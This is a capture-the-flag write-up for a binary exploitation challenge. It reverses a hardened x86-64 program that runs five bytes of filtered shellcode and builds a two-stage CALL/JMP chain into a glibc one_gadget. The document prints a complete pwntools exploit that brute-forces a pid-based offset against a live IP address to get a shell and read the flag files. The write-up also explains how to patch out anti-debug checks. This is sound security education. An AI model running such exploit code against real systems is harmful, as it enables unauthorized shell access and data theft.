Cyber Apocalypse 2026 — Pwn — *Words from the Past*

Category: Pwn **Target:** `154.57.164.72:31449` **Files:** `./Dockerfile`, `./challenge/words_from_the_past`, `./challenge/glibc/{libc.so.6, ld-linux-x86-64.so.2}` **Flag:** `HTB{f1v3_byt3s_0f_pr3c1s10n_t0rul3_th3m_4ll_133f1e13e89291394b3290f007770a78}`

---

1. TL;DR

The program reads **exactly 5 bytes** of shellcode into an `RWX` page and jumps to it — but the **first byte is forced** and the whole thing is heavily filtered:

- stage 1 must begin with `0xE8` (near `CALL`), and its page is mapped next to the **binary**;
- every later stage must begin with `0xE9` (near `JMP`), and its page is mapped next to **libc**;
- none of the 5 bytes may be `0x00`, `0x0A`, or `0xCC`.

`0xE8` / `0xE9` + a 4-byte displacement is *exactly* 5 bytes, so **each stage is a single relative call/jmp instruction** — the whole primitive is *"jump anywhere reachable"*. There is **no seccomp** (only `prctl(PR_SET_DUMPABLE,0)`), so the exploit is two instructions:

1. **stage 1** — `CALL main` (the only useful thing reachable from a page next to the binary). Re-entering `main` walks its internal state machine into a second branch that maps a fresh `RWX` page **next to libc**.
2. **stage 2** — `JMP` a libc **one_gadget** (`posix_spawn("/bin/sh")` at `+0x583f3`), whose constraints (`rcx==NULL`, `rbx==NULL`, `rsp&0xf==0`) are already satisfied by `main`.

The libc page is placed at `libc_base - ((getpid()&7)+0x1000)*0x1000`, so the stage-2 displacement depends on `pid&7` — a clean **1-in-8 brute force**. Reconnect until it lands and read the flag.

This matches the narrative flavour: an *old, half-forgotten border craft* (an obscure, tiny, exact-shape encoding trick) and *“five bytes of precision to rule them all.”*

---

2. Reconnaissance

```
$ file words_from_the_past
ELF 64-bit LSB pie executable, x86-64, dynamically linked,
interpreter ./glibc/ld-linux-x86-64.so.2, BuildID[...], stripped

$ rabin2 -I words_from_the_past
canary   true      nx    true
pic      true      relro full
compiler GCC 13.3.0 (Ubuntu 24.04)      lang c

$ strings glibc/libc.so.6 | grep 'release version'
GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.7) stable release version 2.39.
```

Full mitigations (PIE, canary, NX, Full RELRO), stripped, ships its own **glibc 2.39** via `rpath $ORIGIN/glibc`. Notable imports: `mmap`, `read`, `fork`, `waitpid`, `prctl`, `getpid`, `fopen` / `fgets` (on `/proc/self/{status,maps}`), `getenv`, `strstr` — and, crucially, **no `seccomp`/BPF and no `system` / `execve` in the PLT**.

---

3. Reversing `main`

3.1 Fork sandbox + anti-debug

```
puts(ascii_art); puts("[Garran Voss] Rin.. ...");
if (once_502c == 0) {            // runs only on the very first entry
    once_502c = 1;
    pid = fork();
    if (pid != 0) { waitpid(pid,0,0); _exit(0); }   // parent just waits
```

```
}                                                    // child continues below
prctl(PR_SET_DUMPABLE, 0);       // option 4 -> block ptrace/dumps
```

The child does all the work; the parent only reaps it. Later, `main` calls an anti-debug routine that:

- rejects `LD_PRELOAD` / `LD_AUDIT` (`getenv`),
- reads `/proc/self/status` and bails if `TracerPid != 0` (`"Debugger detected!"`),
- runs two `rdtsc` timing gates (`"Timing anomaly detected!"`).

These only matter for local debugging — under `gdb` / `strace` you must patch out the `TracerPid` check (nop the call) to avoid `"Debugger detected!"`.

3.2 The `mmap` state machine

`main` keeps two static flags and picks one of two page layouts:

```
if (state_5030 == 0) {                  // ---- FIRST entry: page next to BINARY
    addr        = (char*)main + 0x10000;   // hint -> PIE_BASE + 0x11000 (page
    flags       = MAP_PRIVATE|MAP_ANON;    // 0x22, NO MAP_FIXED
    expected    = 0xE8;                    // stage byte[0] must be CALL
    state_5030  = 1;
} else {                                // ---- LATER entries: page next to LIBC
    libc_base   = parse_proc_maps();       // strstr "libc.so.6" + "r--p", strt
    X           = ((getpid() & 7) + 0x1000) << 12;
    addr        = libc_base - X;
    flags      |= MAP_FIXED;               // 0x32
    expected    = 0xE9;                    // stage byte[0] must be JMP
    state_5030  = 2;
}
buf = mmap(addr, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, flags, -1, 0);
```

3.3 Read + the five checks

```
n = read(0, buf, 5);
if (n <= 4) exit(1);                // must read all 5 bytes

no_null_no_lf(buf);                // reject 0x00 and 0x0A in buf[0..4]  "Encodin
```

```
no_cc(buf);                      // reject 0xCC in buf[0..4]
if (buf[0] != expected) exit(1);// buf[0] must equal 0xE8 / 0xE9

/* register setup, then jump into the shellcode */
rax=1; rbx=0; rcx=0; rdx=buf; r12=0xdead;
rsp &= ~0xf;
jmp rdx;                          // execute our 5 bytes
```

3.4 The key observation

The mandatory opcode (`0xE8` / `0xE9`) plus a 4-byte relative displacement is **exactly 5 bytes**. So a stage cannot contain a `syscall` or set any register — **it is a single `call rel32` or `jmp rel32`, nothing more**. The only freedom is the target, and its 4 displacement bytes must avoid `0x00` , `0x0A` , `0xCC` .

Register state at every stage entry (`rbx=0, rcx=0` set by `main` , `rsi=0` left over, `rsp` 16-byte aligned) is what makes the finishing one_gadget possible.

---

4. Building the chain

4.1 Distances (why two stages are required)

At runtime (PIE base `0x555555554000`):

region	address
`main`	`PIE_BASE + 0x16d5`
stage-1 buf	`PIE_BASE + 0x11000`
libc_base	`0x7ffff7dab000`

The distance from the stage-1 page to libc is ≈ **46 TB** — far beyond the ±2 GB reach of a `rel32` . So from the first page we can *only* reach the binary. The state machine's second branch exists precisely to hand us a page **next to libc**, from which a `rel32` *can* reach a libc gadget.

4.2 Stage 1 — `CALL main`

```
disp = main - (buf0 + 5)
     = (PIE+0x16d5) - (PIE+0x11000 + 5)
     = -0xF930
     = 0xFFFF06D0                ; little-endian bytes: D0 06 FF FF   (all saf

STAGE1 = E8 D0 06 FF FF          ; call main
```

`buf0` is deterministic because the mmap hint `main+0x10000` rounds down to the page `PIE_BASE+0x11000`, so this displacement is **constant across runs**. Re-entering `main` skips the (guarded) `fork`, walks into the *second* branch, maps an `RWX` page next to libc, and asks for the next 5 bytes (now requiring `0xE9`).

4.3 Stage 2 — `JMP` a one_gadget

```
$ one_gadget glibc/libc.so.6
0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
  constraints:
    address rsp+0x68 is writable         [ok: stack]
    rsp & 0xf == 0                        [ok: main aligned rsp]
    rcx == NULL || {...} valid argv       [ok: rcx = 0]
    rbx == NULL || (u16)[rbx] == NULL     [ok: rbx = 0]
```

All four constraints are satisfied by the register state `main` leaves us in, and there is **no seccomp**, so this one_gadget spawns `/bin/sh`. The stage-2 page is at `buf1 = libc_base - ((pid&7)+0x1000)*0x1000`, so:

```
disp = ONE + ((pid&7)+0x1000)*0x1000 - 5
     = 0x583f3 + 0x1000000 + (pid&7)*0x1000 - 5
     = 0x10583EE + (pid&7)*0x1000

STAGE2 = E9 EE (0x83 + k*0x10) 05 01      ; k = pid&7  -> byte-safe for every k
```

Byte 1 walks `0x83,0x93,…,0xF3` as `k` goes `0..7` — none of them (nor `0xEE,0x05,0x01`) is `0x00/0x0A/0xCC`, so **every** value of `k` produces a legal stage.

4.4 The `pid&7` unknown → 1/8 brute force

We cannot know `getpid()&7` in advance, and a single wrong `jmp` just crashes the child (the parent `_exit(0)`s and the connection drops). Since `socat ... fork` gives a fresh process per connection, we simply **reconnect and retry** with a guessed `k`; each attempt succeeds with probability 1/8.

---

5. Exploit

```
from pwn import *
context.arch = 'amd64'

ONE    = 0x583f3
STAGE1 = bytes([0xe8, 0xd0, 0x06, 0xff, 0xff])          # call main

def stage2(k):
    rel = ONE + (k + 0x1000) * 0x1000 - 5              # 0x10583ee + k*0x1000
    return b'\xe9' + p32(rel & 0xffffffff)             # E9 EE (83+k*10) 05 01

for i in range(80):
    k = i % 8
    p = remote('154.57.164.72', 31449, timeout=5)
    try:
        p.send(STAGE1 + stage2(k))                     # both stages back to ba
        time.sleep(0.7)
        p.sendline(b'echo FLG:; cat /flag* flag* 2>/dev/null; echo ::END')
        d = p.recvuntil(b'::END', timeout=3)
        if b'HTB{' in d:
            print([l for l in d.split(b"\n") if b"HTB{" in l][0]); break
    except Exception:
        pass
    p.close()
```

Run against the live service until a connection's `pid&7` matches the guessed `k`:

```
[+] shell after 3 tries (pid&7=3)
HTB{f1v3_byt3s_0f_pr3c1s10n_t0 rul3_th3m_4ll_133f1e13e89291394b3290f007770a78}
```

> The flag as stored on the server contains a literal space (`… t0␣rul3 …`) — verified from the raw bytes `74 30 20 72 75 6c 33` (`t0` `0x20` `rul3`). It appears twice in the output only because `cat` matched two identical flag files; the flag itself is the single string above.

---

6. Flag

```
HTB{f1v3_byt3s_0f_pr3c1s10n_t0 rul3_th3m_4ll_133f1e13e89291394b3290f007770a78}
```

---

7. Notes / lessons

- **"Only 5 bytes with a forced opcode" = one relative call/jmp.** Once you see that, the challenge reduces to *"which single reachable address do I transfer to?"*
- The forced `CALL`-then-`JMP` split, and the two different page placements (binary-adjacent vs libc-adjacent), are the mechanism that lets a tiny relative branch reach libc despite a 46 TB gap — you *must* bounce through `main` first.
- Because `main` conveniently zeroes `rbx`/`rcx` and aligns `rsp`, a `posix_spawn` one_gadget is a perfect finisher — no seccomp means no exotic ORW shellcode is needed.
- The `((getpid()&7)+0x1000)<<12` offset is the only source of randomness in the final jump, capping the brute force at 8 possibilities.
- For local debugging, patch out the `TracerPid` anti-debug (`nop` the call at file offset `0x1846`); optionally patch `and eax,7` at `0x17a3` to force `pid&7 == 0` for a deterministic repro.